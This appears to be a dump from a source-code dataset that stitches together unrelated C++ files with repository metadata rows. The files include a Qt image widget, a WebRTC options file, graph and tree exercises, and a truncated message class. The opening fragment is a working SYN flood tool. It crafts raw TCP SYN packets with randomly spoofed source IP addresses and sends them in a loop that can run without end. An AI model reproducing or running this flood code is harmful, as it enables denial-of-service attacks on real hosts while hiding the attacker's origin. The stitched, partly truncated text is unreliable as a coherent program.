char dest_ip[INET_ADDRSTRLEN];
in_addr daddr;
if (is_valid_ip(config.host)) {
strcpy(dest_ip, config.host);
} else {
vector<string> ips;
if (-1 != resolve_fqdn_to_ip(config.host, ips)) {
strcpy(dest_ip, ips[0].c_str());
} else {
SF_SYSLOG("resolve dns failed for %s", config.host);
return -1;
}
}
inet_pton(AF_INET, dest_ip, &daddr);
syn_header.ip_header.daddr = daddr.s_addr;
/* Initialize TCP Header */
if (config.local_port == 0)
config.local_port = 9765;
syn_header.tcp_header.th_sport = htons((uint16_t)config.local_port);
syn_header.tcp_header.th_dport = htons((uint16_t)config.remote_port);
/*
* this field is set outside to avoid TCP packet duplication
* => syn_header.tcp_header.th_seq = ***
*/
syn_header.tcp_header.th_ack = htonl(0);
syn_header.tcp_header.th_x2 = 0;
syn_header.tcp_header.th_off = 5;
syn_header.tcp_header.th_flags = TH_SYN;
syn_header.tcp_header.th_win = htons(65535);
/*
* this field is set outside.
* => syn_header.tcp_header.th_sum
*/
syn_header.tcp_header.th_urp = htons(0);
return 0;
}
// Computing the internet checksum (RFC 1071).
uint16_t checksum (uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;
// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}
// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *) addr;
}
// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}
// Checksum is one's compliment of sum.
answer = ~sum;
return (answer);
}
// Build IPv4 TCP pseudo-header and call checksum function.
uint16_t tcp4_checksum (struct iphdr &iphdr, struct tcphdr &tcphdr) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int chksumlen = 0;
// ptr points to beginning of buffer buf
ptr = &buf[0];
// Copy source IP address into buf (32 bits)
memcpy (ptr, &iphdr.saddr, sizeof (iphdr.saddr));
ptr += sizeof (iphdr.saddr);
chksumlen += sizeof (iphdr.saddr);
// Copy destination IP address into buf (32 bits)
memcpy (ptr, &iphdr.daddr, sizeof (iphdr.daddr));
ptr += sizeof (iphdr.daddr);
chksumlen += sizeof (iphdr.daddr);
// Copy zero field to buf (8 bits)
*ptr = 0; ptr++;
chksumlen += 1;
// Copy transport layer protocol to buf (8 bits)
memcpy (ptr, &iphdr.protocol, sizeof (iphdr.protocol));
ptr += sizeof (iphdr.protocol);
chksumlen += sizeof (iphdr.protocol);
// Copy TCP length to buf (16 bits)
svalue = htons (sizeof (tcphdr));
memcpy (ptr, &svalue, sizeof (svalue));
ptr += sizeof (svalue);
chksumlen += sizeof (svalue);
// Copy TCP source port to buf (16 bits)
memcpy (ptr, &tcphdr.th_sport, sizeof (tcphdr.th_sport));
ptr += sizeof (tcphdr.th_sport);
chksumlen += sizeof (tcphdr.th_sport);
// Copy TCP destination port to buf (16 bits)
memcpy (ptr, &tcphdr.th_dport, sizeof (tcphdr.th_dport));
ptr += sizeof (tcphdr.th_dport);
chksumlen += sizeof (tcphdr.th_dport);
// Copy sequence number to buf (32 bits)
memcpy (ptr, &tcphdr.th_seq, sizeof (tcphdr.th_seq));
ptr += sizeof (tcphdr.th_seq);
chksumlen += sizeof (tcphdr.th_seq);
// Copy acknowledgement number to buf (32 bits)
memcpy (ptr, &tcphdr.th_ack, sizeof (tcphdr.th_ack));
ptr += sizeof (tcphdr.th_ack);
chksumlen += sizeof (tcphdr.th_ack);
// Copy data offset to buf (4 bits) and
// copy reserved bits to buf (4 bits)
cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy (ptr, &cvalue, sizeof (cvalue));
ptr += sizeof (cvalue);
chksumlen += sizeof (cvalue);
// Copy TCP flags to buf (8 bits)
memcpy (ptr, &tcphdr.th_flags, sizeof (tcphdr.th_flags));
ptr += sizeof (tcphdr.th_flags);
chksumlen += sizeof (tcphdr.th_flags);
// Copy TCP window size to buf (16 bits)
memcpy (ptr, &tcphdr.th_win, sizeof (tcphdr.th_win));
ptr += sizeof (tcphdr.th_win);
chksumlen += sizeof (tcphdr.th_win);
// Copy TCP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0; ptr++;
*ptr = 0; ptr++;
chksumlen += 2;
// Copy urgent pointer to buf (16 bits)
memcpy (ptr, &tcphdr.th_urp, sizeof (tcphdr.th_urp));
ptr += sizeof (tcphdr.th_urp);
chksumlen += sizeof (tcphdr.th_urp);
return checksum ((uint16_t *) buf, chksumlen);
}
int send_syn_packet(int syn_socket, syn_header_t &syn_header) {
struct sockaddr_in target;
memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
target.sin_addr.s_addr = syn_header.ip_header.daddr;
target.sin_port = syn_header.tcp_header.th_dport;
int rc = sendto(syn_socket, &syn_header, sizeof(syn_header_t), 0, (struct sockaddr *)&target, sizeof(target));
if (rc < 0) {
SF_SYSLOG("sendto(%d) failed. (%s)", syn_socket, strerror(errno));
return -1;
}
return 0;
}
int syn_flood() {
int rc = check_syn_config(g_config);
if (rc < 0) {
SF_SYSLOG("check syn config failed.");
return -1;
}
syn_header_t syn_header;
rc = init_syn_packet(syn_header, g_config);
if (rc < 0) {
SF_SYSLOG("init syn packet failed.");
return -1;
}
int on = 1;
int syn_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (syn_socket < 0) {
SF_SYSLOG("create syn_socket failed. (%s)", strerror(errno));
return -1;
} else {
SF_SYSLOG("create raw socket (%d)", syn_socket);
}
rc = setsockopt(syn_socket, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
if (rc == -1) {
SF_SYSLOG("setsockopt(%d) failed. (%s)", syn_socket, strerror(errno));
return -1;
}
char ip[INET_ADDRSTRLEN];
char eth[IF_NAMESIZE];
if (strlen(g_config.eth) == 0) {
get_primary_ip(ip, INET_ADDRSTRLEN);
get_ethname_by_ip(ip, eth, IF_NAMESIZE);
} else
strcpy(eth, g_config.eth);
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", eth);
rc = setsockopt(syn_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr));
if (rc < 0) {
SF_SYSLOG("setsockopt(%d) failed. (%s)", syn_socket, strerror(errno));
return -1;
}
uint16_t ip_packet_id = 0; /* unique id of IP packet, increase by 1 */
uint32_t tcp_syn_seq = 0; /* unique sequence number of TCP SYN packet, increase by 1 */
int packets = 0; /* continue flooding */
if (g_config.packets > 0)
packets = g_config.packets;
struct in_addr saddr;
char src_ip[INET_ADDRSTRLEN];
for (int i = 0; packets == 0 || i < packets; ++i) {
srandom(i);
sprintf(src_ip, "%d.%d.%d.%d", random() % 255, random() % 255, random() % 255, random() % 255);
inet_pton(AF_INET, src_ip, &saddr);
syn_header.ip_header.saddr = saddr.s_addr;
syn_header.ip_header.id = htons(ip_packet_id + i);
syn_header.ip_header.check = 0;
syn_header.ip_header.check = checksum((uint16_t *)&syn_header.ip_header, sizeof(syn_header.ip_header));
syn_header.tcp_header.th_seq = htonl(tcp_syn_seq + i);
syn_header.tcp_header.th_sum = 0;
syn_header.tcp_header.th_sum = tcp4_checksum(syn_header.ip_header, syn_header.tcp_header);
rc = send_syn_packet(syn_socket, syn_header);
if (rc < 0) {
SF_SYSLOG("send syn packet failed.");
continue;
}
}
return 0;
}
|
151402bf787ee7b6b236d7f76e6433eea28ba43d | fe84f08061fc9ed602295a086b0b9c4e92943855 | /StanfordAlgorithm/Inversion.h | c11c2722cb2a5043c193767f073241b02b35e8bc | [] | no_license | tkhubert/Stanford-Algorithm | b9d6b234ce66a986da2602fe7908b9cf65262638 | 2b98bb87b10afada9eae6600767ebb773e707d6f | refs/heads/master | 2021-01-19T08:26:25.763180 | 2015-03-30T18:26:14 | 2015-03-30T18:26:14 | 30,153,074 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 831 | h | Inversion.h | //
// Inversion.h
// AlgorithmsStanford
//
// Created by Thomas Hubert on 24/01/2015.
// Copyright (c) 2015 Thomas Hubert. All rights reserved.
//
#ifndef __AlgorithmsStanford__Inversion__
#define __AlgorithmsStanford__Inversion__
#include <iostream>
#include <stdio.h>
#include <vector>
#include <string>
#include <fstream>
using namespace std;
class Inversions
{
public:
Inversions(string filename);
Inversions(vector<int>& v);
unsigned long getNbInversions() const { return n;}
static void testClass();
private:
// members
static const int MIN_SIZE=40;
unsigned long n;
// methods
unsigned long bruteForce (vector<int>& v) const;
unsigned long countInversions(vector<int>& v) const;
};
#endif /* defined(__AlgorithmsStanford__Inversion__) */
|
514deb69083793fe0ee04d010d590b502f2ecfb3 | d96ebf4dac46404a46253afba5ba5fc985d5f6fc | /third_party/libwebrtc/modules/video_capture/video_capture_options.cc | e80872d26caf46010b090b0283c03cdd40447f02 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | marco-c/gecko-dev-wordified-and-comments-removed | f9de100d716661bd67a3e7e3d4578df48c87733d | 74cb3d31740be3ea5aba5cb7b3f91244977ea350 | refs/heads/master | 2023-08-04T23:19:13.836981 | 2023-08-01T00:33:54 | 2023-08-01T00:33:54 | 211,297,165 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,359 | cc | video_capture_options.cc | #
include
"
modules
/
video_capture
/
video_capture_options
.
h
"
#
if
defined
(
WEBRTC_USE_PIPEWIRE
)
#
include
"
modules
/
video_capture
/
linux
/
pipewire_session
.
h
"
#
endif
namespace
webrtc
{
VideoCaptureOptions
:
:
VideoCaptureOptions
(
)
{
}
VideoCaptureOptions
:
:
VideoCaptureOptions
(
const
VideoCaptureOptions
&
options
)
=
default
;
VideoCaptureOptions
:
:
VideoCaptureOptions
(
VideoCaptureOptions
&
&
options
)
=
default
;
VideoCaptureOptions
:
:
~
VideoCaptureOptions
(
)
{
}
VideoCaptureOptions
&
VideoCaptureOptions
:
:
operator
=
(
const
VideoCaptureOptions
&
options
)
=
default
;
VideoCaptureOptions
&
VideoCaptureOptions
:
:
operator
=
(
VideoCaptureOptions
&
&
options
)
=
default
;
void
VideoCaptureOptions
:
:
Init
(
Callback
*
callback
)
{
#
if
defined
(
WEBRTC_USE_PIPEWIRE
)
if
(
allow_pipewire_
)
{
pipewire_session_
=
rtc
:
:
make_ref_counted
<
videocapturemodule
:
:
PipeWireSession
>
(
)
;
pipewire_session_
-
>
Init
(
callback
pipewire_fd_
)
;
return
;
}
#
endif
#
if
defined
(
WEBRTC_LINUX
)
if
(
!
allow_v4l2_
)
callback
-
>
OnInitialized
(
Status
:
:
UNAVAILABLE
)
;
else
#
endif
callback
-
>
OnInitialized
(
Status
:
:
SUCCESS
)
;
}
#
if
defined
(
WEBRTC_USE_PIPEWIRE
)
rtc
:
:
scoped_refptr
<
videocapturemodule
:
:
PipeWireSession
>
VideoCaptureOptions
:
:
pipewire_session
(
)
{
return
pipewire_session_
;
}
#
endif
}
|
1830b27587fefcd470c16a375d413db1bd088673 | b2691a86cf9e54b3ad31399e1c1f14ecf7b3f24c | /Qt/QT_RS/subsetimage.cpp | 44e6b1f2ce922d336ba7375b3e1eff3666331072 | [] | no_license | chenziyu2016/dev | 41671058c84d22ea520a72a7d3ee054700510486 | a60a522649c08f0ac0dde4271ea3e437556115a6 | refs/heads/master | 2021-09-24T22:00:41.502712 | 2018-10-15T12:26:10 | 2018-10-15T12:26:10 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,211 | cpp | subsetimage.cpp | #include "subsetimage.h"
#include "ui_subsetimage.h"
/*SubsetImage::SubsetImage(QWidget *parent=0):
ShowImageBase2(parent),
ui(new Ui::SubsetImage)
{
ui->setupUi(this);
}
*/
SubsetImage::SubsetImage(QWidget *parent,GDALDataset *p_Dataset):
ShowImageBase2(parent,p_Dataset),
ui(new Ui::SubsetImage)
{
ui->setupUi(this);
setWindowTitle("SubsetImage");
nifmouseright=false;
nifmouseleft=false;
ReadParam();
if(nWidthStrictInt==1)
nWidthStrict=true;
else
nWidthStrict=false;
}
SubsetImage::~SubsetImage()
{
delete ui;
}
void SubsetImage::mousePressEvent(QMouseEvent *event)
{
QPointF n_Point1;
n_Point1=mapToScene(event->x(),event->y());
nMouseClick=QPoint(n_Point1.x(),n_Point1.y());
//ไธบๆ ่ฎฐ็น่ตๅๅงๅผ
nIfMouseClick=true;
nMouseMoveStart=nMouseClick;
nMouseMoveEnd=nMouseMoveStart;
//่ฐ็จๅบ็ฑป็ๆนๆณใ
ShowImageBase2::mousePressEvent(event);
//ๅจ่ฟไธช็ปงๆฟ็ฑปไธญ๏ผๆไปฌๅชๅค็subsetimg็ๆไฝ๏ผๅบๆฌๆไฝๅจๅ้ข็็ฑปไธญๅฎๆใ
if(event->button() == Qt::RightButton)
return;
if(event->modifiers()==Qt::ControlModifier)
{
QGraphicsScene *scene=ShowImageBase2::GetScene();
nRectItem=scene->addRect(nMouseClick.x(),nMouseClick.y(),1,1,QPen(Qt::red));
}
}
void SubsetImage::mouseMoveEvent(QMouseEvent *event)
{
if(!nIfMouseClick)
return;
ShowImageBase2::mouseMoveEvent(event);
if(event->button() == Qt::RightButton)
return;
if(event->modifiers()!=Qt::ControlModifier)
return;
QPointF n_Point1;
n_Point1=mapToScene(event->x(),event->y());
nMouseMoveEnd=QPoint(n_Point1.x(),n_Point1.y());
int n_dx=nMouseMoveEnd.x()-nMouseMoveStart.x();
int n_dy=nMouseMoveEnd.y()-nMouseMoveStart.y();
if(n_dx<0||n_dy<0)
return;
if(nMouseMoveStart.x()+n_dx>GetImageSize().x())
return;
if(nMouseMoveStart.y()+n_dy>GetImageSize().y())
return;
int n_Width=nMouseMoveEnd.x()-nMouseClick.x();
int n_Height=nMouseMoveEnd.y()-nMouseClick.y();
QGraphicsScene *scene=ShowImageBase2::GetScene();
scene->removeItem(nRectItem);
nRectItem=scene->addRect(nMouseClick.x(),nMouseClick.y(),n_Width,n_Height,QPen(Qt::red));
nMouseMoveStart=nMouseMoveEnd;
}
void SubsetImage::mouseReleaseEvent(QMouseEvent *event)
{
ShowImageBase2::mouseReleaseEvent(event);
if(event->button() == Qt::RightButton)
return;
if(event->modifiers()!=Qt::ControlModifier)
return;
if(!nWidthStrict)
emit ReportPosition(nMouseClick+ShowImageBase2::GetStartPosition(),nMouseMoveEnd+ShowImageBase2::GetStartPosition());
else
{
emit ReportPosition2(nMouseClick+ShowImageBase2::GetStartPosition(),nWidth,nHeight);
//ๅจๅพไธ็ปๅบๆฅ
QGraphicsScene *n_scene=ShowImageBase2::GetScene();
n_scene->addRect(nMouseClick.x()-nWidth/2,nMouseClick.y()-nHeight/2,nWidth,nHeight,QPen(Qt::red));
}
nIfMouseClick=false;
}
void SubsetImage::ReadParam()
{
std::ifstream n_readfile("Param.ini");
if(!n_readfile)
return;
char ParamDescription[100];
n_readfile >> ParamDescription;
n_readfile >> nWidthStrictInt;
n_readfile >> ParamDescription;
n_readfile >> nWidth;
n_readfile >> ParamDescription;
n_readfile >> nHeight;
}
|
37fd562d11181affd08266eada69da7e72589d99 | c49f39fad5551829682284f29b746d2932c56983 | /3-graph-algorithms/vertex_matrix.cpp | 4eef8b7489863d114ba803e067918e773c7a561b | [
"MIT"
] | permissive | zuzg/algorithms-data-structures | b091420d98b73de7c61a83ce942004041fa13611 | 02abc68123a2a9ed56a6195203f83f61dc84892b | refs/heads/main | 2023-07-05T21:46:29.576211 | 2021-08-05T11:13:48 | 2021-08-05T11:13:48 | 391,713,783 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,096 | cpp | vertex_matrix.cpp | #include <iostream>
#include <vector>
#include <fstream>
#include <time.h>
#include <string>
using namespace std;
int N[] = {10, 20, 30 , 40, 50, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000};
class Graph {
private:
// number of vertices
int v;
// adjacency matrix
vector< vector<int> > matrix;
public:
// constructor
Graph(int x)
{
v = x;
matrix.resize(v); //rows
for(int i = 0 ; i < v ; ++i)
{
matrix[i].resize(v); //columns
}
// initializing each element of the adjacency matrix to zero
for (int i = 0; i < v; i++) {
for (int j = 0; j < v; j++) {
matrix[i][j] = 0;
}
}
}
void displayAdjacencyMatrix()
{
cout << "\n Adjacency Matrix:";
// displaying the 2D array
for (int i = 0; i < v; i++) {
cout << "\n";
for (int j = 0; j < v; j++) {
cout << " " << matrix[i][j];
}
}
cout<<endl;
}
void addEdge(int x, int y)
{
// connecting the vertices (zakladamy ze input jest dobry)
matrix[y][x] = 1;
matrix[x][y] = 1;
}
bool existEdge (int x, int y)
{
return (matrix [x][y] == 1) ? true : false;
}
void deleteMatrix ()
{
for (int i = 0; i < v; i++)
{
matrix[i].clear();
matrix[i].shrink_to_fit();
}
matrix.clear();
matrix.shrink_to_fit();
}
};
double SearchTime (Graph *g, int N)
{
ifstream file;
int ver1, ver2;
int edges[N][2];
file.open("data/search"+to_string(N)+".txt"); //reading the edges to be searched from a file (beda w liscie parami)
for (int i=0; i<N; i++)
{
file>>edges[i][0]>>edges[i][1];
}
file.close();
clock_t search_time_total = 0;
clock_t search_time = clock();
for (int i =0; i<N; i++)
{
(*g).existEdge(edges[i][0], edges[i][1]);
}
search_time_total += clock() - search_time;
return (double)search_time_total/CLOCKS_PER_SEC*1000/N;
}
int main()
{
printf("%-10s %-12s\n", "n", "search");
ofstream results;
results.open("Vertex Matrix.txt");
for (int x = 0; x < sizeof(N)/sizeof(N[0]); x++)
{
Graph graph(N[x]);
ifstream file;
file.open("data/graph"+to_string(N[x])+".txt");
///ADDING EDGES
int vertex1, vertex2;
file>>vertex1>>vertex2; //pierwsze musi byc zadeklarowane poza bo inaczej ostatnia para jest 2x - na koncu jest enter wiec technically to nie jest eof
while (!file.eof()){
graph.addEdge(vertex1,vertex2);
file>>vertex1>>vertex2;
}
file.close();
if (N[x]==10) graph.displayAdjacencyMatrix(); //mozna sobie zobaczyc jak wyglada matrix
double totalTime = SearchTime(&graph, N[x]);
printf("%-10d %-12f\n", N[x], totalTime);
results<<N[x]<<" "<<to_string(totalTime)<<"\n";
graph.deleteMatrix();
}
results.close();
return 0;
}
|
056d6d306b7afe37733c5877abbae2dda1e3e35b | 054d51d90fc6abb0a6153f5fcf18ecbdacd18407 | /interview_Code/Code/Tree-62-LeetCode144-ๅๅบ้ๅ.cpp | 6254a51005efb0cd45277f5227ed009afcaa91e1 | [] | no_license | Stephenhua/CPP | c40c4c69bffc37546ed00f16289e0b24293c59f9 | bbaa84aabf17cf8e9c1eccaa73ba150c8ca20ec4 | refs/heads/master | 2020-12-30T03:42:44.502470 | 2020-09-18T14:56:38 | 2020-09-18T14:56:38 | 238,844,457 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 924 | cpp | Tree-62-LeetCode144-ๅๅบ้ๅ.cpp | #include <iostream>
#include <vector>
#include <map>
#include "TreeNode.h"
#include <stack>
#include <algorithm>
#include <cmath>
#include <fstream>
#include <queue>
#include <map>
#include <unordered_map>
using namespace std;
vector<int> preOrder(TreeNode* root ){
vector<int> res;
if( root == nullptr ){
return res;
}
stack<TreeNode*> sta ;
sta.push(root);
while(!sta.empty()){
TreeNode * cur = sta.top();
sta.pop();
res.push_back(cur->val);
if(cur->right){
sta.push(cur->right);
}
if(cur->left){
sta.push(cur->left);
}
}
return res;
}
//้ๅฝๅฎ็ฐ๏ผ
vector<int> res;
vector<int> preOrder(TreeNode* root){
Core(root);
return res;
}
void Core(TreeNode* root){
if(root == nullptr ){
return ;
}
res.push_back(root->val);
Core(root->left);
Core(root->right);
} |
565f99bec509fbe08a5233d76f7156119766d26e | 3e592282346b70a80f24eac1a8f139ffb83d3a7f | /1118.cpp | 139b6714179a899d1c0b7ab17e6925ec5ded135a | [] | no_license | dtdsouza/URI | 1e1a603931fe0b3b2544ec088058f096fbe9ed3f | 0f8b16db7ebc69988974641ca52d95ebefa3412b | refs/heads/master | 2021-04-26T22:28:46.477401 | 2019-05-03T00:44:54 | 2019-05-03T00:44:54 | 124,098,335 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 659 | cpp | 1118.cpp | #include <iostream>
#include <locale>
#include <iomanip>
#include <math.h>
using namespace std;
int main()
{
setlocale(LC_ALL,"Portuguese");
float verifica,x,y,media;
do
{
cin>>x;
while ((x < 0)|| (x > 10))
{
cout<<"nota invalida"<<endl;
cin>>x;
}
cin>>y;
while ((y < 0)|| (y > 10))
{
cout<<"nota invalida"<<endl;
cin>>y;
}
media = (x+y)/2;
cout<<"media = "<<fixed<<setprecision(2)<<media<<endl;
do
{
cout<<"novo calculo (1-sim 2-nao)"<<endl;
cin>>verifica;
} while ((verifica < 1)|| (verifica > 2));
} while (verifica == 1);
cin.get();
return 0;
}
|
9f1525ade518473c4d6710f8b0960ea91b1f0d33 | 576089ff35b6daa768b8a5d0d40578d2df4dc7a1 | /AutoCodeSignal/Answer/C/pepEight2.C++ | 9879506fdd0c4e46d5ebe18c81204603b51376ca | [] | no_license | noat13/FRIST_DEMO | 5426668a08f404ca7defc4230a576086de5098a9 | b8969b27624c2ceb618e53c73b8e3503ae9de576 | refs/heads/master | 2020-04-26T03:50:36.556507 | 2019-09-07T10:22:34 | 2019-09-07T10:22:34 | 173,281,081 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 67 | pepEight2.C++ | bool pepEight2(std::string line) {
return line.size() <= 79;
}
| |
c130a1d63ccbf4e652b2d6ee8198d7feb3ae668d | d971297d358dba6cd37589a3ae8f1761c6b33849 | /src/Node.h | c456981ef800d3cc0fc7d39d8e208fd7cb00b789 | [] | no_license | swipswaps/Sliding-Brick-Puzzle | a7bbed1b08cb694246e737f3c184d503df71af51 | a8329c2100ae8fc0d82985f0799bc2feff848c5e | refs/heads/master | 2022-11-17T10:27:14.012823 | 2020-07-08T17:53:47 | 2020-07-08T17:53:47 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 719 | h | Node.h | #pragma once
#include <memory>
#include "Matrix.h"
class Node {
public:
//Node() {};
// root node..
Node(const Matrix&);
// ..all other nodes
Node(const Matrix& m, Node* parent, std::pair<int, Moves> transition);
// cpy constructor
Node(const Node&);
// empty destructor
~Node() {};
// Matrix (current state of the puzzle)
Matrix m;
// reference to the parent node (only nullptr for root node)
Node* parent;
// transition (move on a piece) that stood between parent and this node
std::pair<int, Moves> trans;
/* copy & swap idiom
* copy constructor and assign operator */
friend void swap(Node&, const Node&);
// for backtracing step cost (depth in tree)
const int getParentCount() const;
}; |
22d328f5bbf61ba0a3d0f387076e038ea1732098 | 9748bbefcac3195d8b3d08768a70e046e99f0a95 | /DiscBurner/.svn/text-base/ProfilePane.cpp.svn-base | cad90137a09e41aa8e387f1934fef36ad94bebb0 | [] | no_license | 15831944/vc-moviemaker | 911a897a3abac994a3e57595be2d4179c741b558 | 718fe3fd888ba39b928c00008d1c477d03a27dc1 | refs/heads/master | 2021-12-12T10:31:01.709621 | 2016-12-31T06:13:27 | 2016-12-31T06:13:27 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,489 | ProfilePane.cpp.svn-base | // ProfilePane.cpp : implementation file
//
#include "stdafx.h"
#include "Converter.h"
#include "ProfilePane.h"
#include "DeferWindowPos.h"
#include "ProfileManager.h"
#include "DlgSaveProfile.h"
#include "DlgDeleteProfiles.h"
#include "FileList.h"
// CProfilePane
const UINT ID_PROFILE_TOOLBAR = 1001;
IMPLEMENT_DYNAMIC(CProfilePane, CBasePane)
CProfilePane::CProfilePane()
{
}
CProfilePane::~CProfilePane()
{
}
BEGIN_MESSAGE_MAP(CProfilePane, CBasePane)
ON_WM_CREATE()
ON_WM_SIZE()
ON_COMMAND(ID_PROFILE_SAVE_AS, OnProfileSaveAs)
ON_COMMAND(ID_PROFILE_RENAME, OnProfileRename)
ON_COMMAND(ID_PROFILE_DELETE, OnProfileDelete)
ON_COMMAND(ID_PROFILE_DELETE_MULTIPLE, OnProfileDeleteMultiple)
ON_UPDATE_COMMAND_UI(ID_PROFILE, OnUpdateProfile)
ON_UPDATE_COMMAND_UI(ID_PROFILE_SAVE_AS, OnUpdateProfile)
ON_UPDATE_COMMAND_UI(ID_PROFILE_RENAME, OnUpdateProfile)
ON_UPDATE_COMMAND_UI(ID_PROFILE_DELETE, OnUpdateProfile)
ON_UPDATE_COMMAND_UI(ID_PROFILE_DELETE_MULTIPLE, OnUpdateProfile)
END_MESSAGE_MAP()
// CProfilePane message handlers
int CProfilePane::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CBasePane::OnCreate(lpCreateStruct) == -1)
return -1;
// TODO: Add your specialized creation code here
CRect rc(0, 0, 0, 0);
if (!m_wndToolBar.Create(this, WS_VISIBLE | WS_CHILD | CBRS_ALIGN_TOP, ID_PROFILE_TOOLBAR))
{
TRACE0("Failed to create profile toolbar\n");
return -1; // fail to create
}
if (!m_wndToolBar.LoadToolBar(IDR_PROFILE, IDB_PROFILE, 0, TRUE, 0, 0, IDB_PROFILE))
{
TRACE0("Failed to create profiletoolbar\n");
return -1; // fail to create
}
m_wndToolBar.SetRouteCommandsViaFrame(FALSE);
m_wndToolBar.SetOwner(this);
m_wndToolBar.SetCustomizeMode(FALSE);
m_wndToolBar.m_bInit = TRUE;
return 0;
}
void CProfilePane::OnSize(UINT nType, int cx, int cy)
{
CBasePane::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
RepositionControls();
}
void CProfilePane::RepositionControls()
{
if (::IsWindow(m_hWnd))
{
CRect rcClient;
GetClientRect(&rcClient);
m_wndToolBar.SetRedraw(FALSE);
m_wndToolBar.SetWindowPos(NULL, rcClient.left, rcClient.top, rcClient.Width(), rcClient.Height(),
SWP_NOACTIVATE | SWP_NOZORDER);
m_wndToolBar.SetRedraw(TRUE);
RedrawWindow(NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE);
}
}
void CProfilePane::OnProfileSaveAs()
{
CDlgSaveProfile dlg;
dlg.m_bRename = FALSE;
if (dlg.DoModal() == IDOK)
{
CProfileManager *pManager = CProfileManager::Instance();
if (pManager->SaveCustomizedProfile(NULL, dlg.m_strName, dlg.m_strDesc, FALSE))
{
pManager->SetCurrentProfile(pManager->GetCustomizedGroup(), pManager->FindCustomizedProfile(dlg.m_strName));
}
}
}
void CProfilePane::OnProfileRename()
{
CProfileManager *pManager = CProfileManager::Instance();
CProfileGroup *pGroup;
CProfileItem *pItem;
pManager->GetCurrentProfile(&pGroup, &pItem);
if (pGroup != CProfileManager::Instance()->GetCustomizedGroup())
{
AfxMessageBoxEx(MB_ICONWARNING | MB_OK, IDS_E_RENAME_BUILT_IN_PROFILE1, pItem->m_strName);
return;
}
CDlgSaveProfile dlg;
dlg.m_bRename = TRUE;
if (dlg.DoModal() == IDOK)
{
if (pManager->SaveCustomizedProfile(pItem->m_strName, dlg.m_strName, dlg.m_strDesc, TRUE))
{
pManager->SetCurrentProfile(pManager->GetCustomizedGroup(), pManager->FindCustomizedProfile(dlg.m_strName));
}
}
}
void CProfilePane::OnProfileDelete()
{
CProfileGroup *pGroup;
CProfileItem *pItem;
CProfileManager::Instance()->GetCurrentProfile(&pGroup, &pItem);
if (pGroup != CProfileManager::Instance()->GetCustomizedGroup())
{
AfxMessageBoxEx(MB_ICONWARNING | MB_OK, IDS_E_DELETE_BUILT_IN_PROFILE1, pItem->m_strName);
return;
}
if (AfxMessageBoxEx(MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2, IDS_CONFIRM_DELETE_PROFILE1, pItem->m_strName) == IDYES)
{
CProfileManager::Instance()->DeleteCustomizedProfile(pItem->m_strName);
}
}
void CProfilePane::OnProfileDeleteMultiple()
{
if (CProfileManager::Instance()->GetCustomizedGroup()->m_items.size() == 0)
{
AfxMessageBox(IDS_NO_CUSTOMIZED_PROFILES);
return;
}
CDlgDeleteProfiles dlg;
if (dlg.DoModal() == IDOK)
{
}
}
void CProfilePane::OnUpdateProfile(CCmdUI *pCmd)
{
// TODO: Add your command handler code here
pCmd->Enable(!CFileList::Instance()->IsConverting());
}
| |
60d73690ec3b9cd289f20de0b3e28507026aa3f4 | d597d23737d50af82a53c393f58dc4ada7c2077a | /src/Cello/charm_MsgInitial.cpp | 69c0641661e05e9b6044b0019a554c2eb759e70b | [
"BSD-3-Clause",
"NCSA",
"BSD-2-Clause"
] | permissive | enzo-project/enzo-e | 23c1464c3efe434e19bbf0e7bd9cb3a70a63b79d | 69526e8179b2fb4d3f43eca0a7f85df18af16795 | refs/heads/main | 2023-08-15T05:31:44.031734 | 2023-08-14T19:30:48 | 2023-08-14T19:30:48 | 170,394,544 | 33 | 34 | NOASSERTION | 2023-09-08T01:03:40 | 2019-02-12T21:31:47 | C++ | UTF-8 | C++ | false | false | 8,295 | cpp | charm_MsgInitial.cpp | // See LICENSE_CELLO file for license and copyright information
/// @file charm_MsgInitial.cpp
/// @author James Bordner (jobordner@ucsd.edu)
/// @date 2021-05-31
/// @brief [\ref Charm] Declaration of the MsgInitial Charm++ message
#include "data.hpp"
#include "charm.hpp"
#include "charm_simulation.hpp"
// #define DEBUG_MSG_INITIAL
#ifdef DEBUG_MSG_INITIAL
# define TRACE_MSG_INITIAL(MSG) CkPrintf ("TRACE_MSG_INITIAL %d %s %d\n", \
CkMyPe(),MSG,__LINE__); fflush(stdout);
#else
# define TRACE_MSG_INITIAL(MSG) /* ... */
#endif
//----------------------------------------------------------------------
long MsgInitial::counter[CONFIG_NODE_SIZE] = {0};
//----------------------------------------------------------------------
MsgInitial::MsgInitial()
: CMessage_MsgInitial(),
is_local_(true),
buffer_(nullptr),
data_type_(),
data_name_(),
data_attribute_(),
